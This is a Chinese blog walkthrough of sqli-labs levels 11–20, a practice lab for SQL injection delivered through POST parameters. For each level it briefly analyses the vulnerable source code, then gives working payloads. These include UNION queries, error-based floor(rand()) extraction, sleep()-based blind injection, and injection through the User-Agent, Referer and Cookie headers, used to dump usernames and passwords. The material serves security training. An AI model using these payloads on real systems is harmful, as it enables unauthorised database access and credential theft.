sqli-labs-master( POST : 11-20)

北城余情 提交于 2020-01-18 20:46:56

人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头

前言

sqli-labs 1-10 关是 GET 方法注入,11-20 关是 POST 方法注入。思路有相似之处,最大的区别在于参数提交的方式不一样。

环境准备

Phpstudy 集成工具
Sublime 代码编辑器
Firefox 浏览器
Hackbar 插件(或 Burpsuite)
Headers Modify 插件

Less 11

① 源码分析

post方法提交参数
两处单引号引用参数拼接sql语句
查询输出

在这里插入图片描述

② 漏洞利用

Hackbar 提交 POST 参数
闭合单引号,在任何一处参数构造 sql 语句注入

1. 提交参数

按 f12 键打开开发者工具,选中 POST 提交的条目可以看到提交的数据。( 知道怎么样提交,好方便接下来自己构造 POST 参数)
在这里插入图片描述

2. order by 查询列数

2.1 猜测列数为 2 ,不报错
POST 参数:

uname=1' order by 2 #&passwd=123

在这里插入图片描述
2.2 猜测列数为 3 ,报错。说明当前使用的数据表列数为 2 列。
POST 参数:

uname=1' order by 3 #&passwd=123

在这里插入图片描述

3. UNION 注入

3.1 注入数字,查看回显位
POST 参数:

uname=1' union  select 1,2 #&passwd=123

在这里插入图片描述
3.2 查看数据库基本信息
POST 参数:

uname=1' union  select version(),database() #&passwd=123

在这里插入图片描述
3.3 查看当前数据库的所有表
POST 参数:

uname=1' union  select (select group_concat(table_name) from information_schema.tables where table_schema='security'),database() #&passwd=123

在这里插入图片描述
3.4 查看列
POST 参数:

uname=1' union  select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() #&passwd=123

在这里插入图片描述
3.5 查看数据
POST参数:

uname=1' union  select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #&passwd=123

在这里插入图片描述

Less 12

① 源码分析

POST 提交数据
双引号+括号引用参数进行 sql 语句拼接

在这里插入图片描述

② 漏洞利用

双引号和括号闭合并构造 sql 语句
思路和 Less11 一样

UNION 注入

POST参数:

uname=1") union  select 1,2 #&passwd=123

在这里插入图片描述

Less 13

① 源码分析

POST 提交参数
单引号+括号引用参数拼接 sql 语句
没有数据信息回显
有错误信息回显

在这里插入图片描述

② 漏洞利用

闭合单引号+括号
使用报错注入,利用错误回显信息
当然也可以使用时间盲注(当错误信息关闭之后)
  1. 查看当前数据库
    POST参数:
uname=1') or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123

在这里插入图片描述
2. 爆出当前数据库下所有表
POST参数:

uname=1') or (select 1 from(select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123

在这里插入图片描述
3. 爆出数据列
POST 参数:

uname=1') or (select 1 from(select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123

在这里插入图片描述
4. 爆出数据
4.1 查看 username 字段(group_concat)

uname=1') or (select 1 from(select count(*),concat((select group_concat(username) from security.users),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123

在这里插入图片描述
4.2 查看第一个 username 字段(limit)

uname=1') or (select 1 from(select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=123

在这里插入图片描述
4.3 password 字段同理可以得出,一个一个看吧。

Less 14

① 源码分析

POST 提交参数
双引号引用参数
没有数据信息回显
有错误信息回显

在这里插入图片描述

② 漏洞利用

双引号闭合
可以报错注入
这里使用时间盲注
  1. 判断是否可以时间盲注
    这里由于 uname 引用了一个数据表不存在的数且使用 or 布尔值,所以每遍历当前数据表的一个数就延时一秒(当前数据库有 14 个数据,所以共延时 14 秒)
uname=1') or sleep(1)#&passwd=admin

如果引用数据库存在的数据,如 admin ,且使用布尔值 and ,所以延时一秒

uname=admin') and sleep(1)#&passwd=admin
  1. 时间盲注格式
if(判断条件,条件位 true 时执行,条件为 false 时执行)
if(ascii(substring((payload),1,1))>0,sleep(1),1)

当前数据库的第一个字母的 ASCII 值大于零时延时

uname=1') or if(ascii(substring(database(),1,1))>0,sleep(1),1)#&passwd=123

当前数据库的第二个字母的 ASCII 值大于零时延时

uname=1') or if(ascii(substring(database(),2,1))>0,sleep(1),1)#&passwd=123

就一个一个猜吧,比较费时。

Less 15

① 源码分析

POST 提交数据
单引号引用参数
没有数据信息回显
没有错误信息回显

在这里插入图片描述

② 漏洞利用

单引号闭合
不管输入信息对错,没有任何信息回显,只能使用时间盲注,思路和 Less14 一样

Less 16

① 源码分析

双引号+括号引用参数
没有数据信息回显
没有错误信息回显

在这里插入图片描述

② 漏洞利用

双引号+括号闭合
时间盲注,思路和 Less14 一样

Less 17

① 源码分析

先对 check_input( ) 函数分析下
substr()

substr() 函数返回字符串的一部分。substr(string,start,length)

magic_quotes_gpc

在magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反
斜线(\)与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这
个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。
stripslashes()函数用来去除添加的反斜杠

ctype_digit()

ctype_digit()函数用于检测 $value 的值是不是数字,是返回true,不是返回false

mysql_real_escape_string()

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false

intval()

intval()函数取整

分析下源码:

对 uname 使用 check_input() 函数过滤
对 passwd 却没做操作(可做突破点)
单引号引用参数
没有数据信息回显
有错误信息回显

在这里插入图片描述
在这里插入图片描述

② 漏洞利用

单引号闭合
从 passwd 参数着手
报错注入
当然也可以使用时间盲注

显示当前数据库

uname=admin&passwd= ' or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) #

在这里插入图片描述
剩下的注入思路可以借鉴 Less13

Less 18

① 源码分析

获取 http 头部信息 referer 
对用户的输入 uname 和 passwd 都做了过滤
没对 uagent 过滤,且将其插入数据库中
有错误信息回显

在这里插入图片描述

② 漏洞利用

没有对 User-Agent 信息过滤且插入数据库中,可以对其进行 sql 语句构造,产生错误由
mysql_error() 函数打印出来。
由于源码中的插入语句对 uagent 参数用单引号引用,所以这里用单引号闭合
前提:
post 提交的 uname 和 passwd 参数要是正确的
使用hackbar v2 插件或者 Burpsuite ,headers Modify 等可以修改 HTTP 头部参数

在 User Agent 输入以下 payload 查看当前数据库

 'or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)  or'

在这里插入图片描述
在这里插入图片描述
剩下的注入思路可以参考 Less13

Less 19

① 源码分析

获取 HTTP 头部的 referer 参数
单引号引用 referer 参数并插入数据库中
有错误信息回显

在这里插入图片描述

② 漏洞利用

单引号闭合 referer 参数
使用报错注入,在 referer 参数处构造 payload 进行注入
前提:
uname 和 passwd 参数要正确

在 referer 参数处输入以下 payload 查看当前数据库

' or (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

在这里插入图片描述
在这里插入图片描述
剩下的注入思路可以参考 Less 13

Less 20

① 源码分析

当没有 cookie 时,获取 uname 和 passwd 参数,且做过滤
没有数据信息回显
有错误信息回显也无用武之地

在这里插入图片描述

产生 cookie 之后,获取当前 cookie
单引号引用构造 sql 语句进行数据库信息查询
将查询的信息回显

在这里插入图片描述

② 漏洞利用

填写正确的参数提交产生 cookie
在 cookie 处构造 payload 进行注入
  1. 提交 admin/admin 参数,按 f12 打开开发者工具,查看 cookie 的构造格式
    在这里插入图片描述
  2. order by 查看可利用列数
uname=' order by 3 #

在这里插入图片描述
当猜测数据列为 4 时出现错误,说明可利用的列数为 3

uname=' order by 4 #

在这里插入图片描述
3. union 注入
3.1 查看数据回显位,可以知道数字 1,2,3 都有回显

uname=' union select 1,2,3 #

在这里插入图片描述
接下来的注入思路可以参考 Less 11

                                                                                                                                  猪头
                                                                                                                             2020.1.18
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!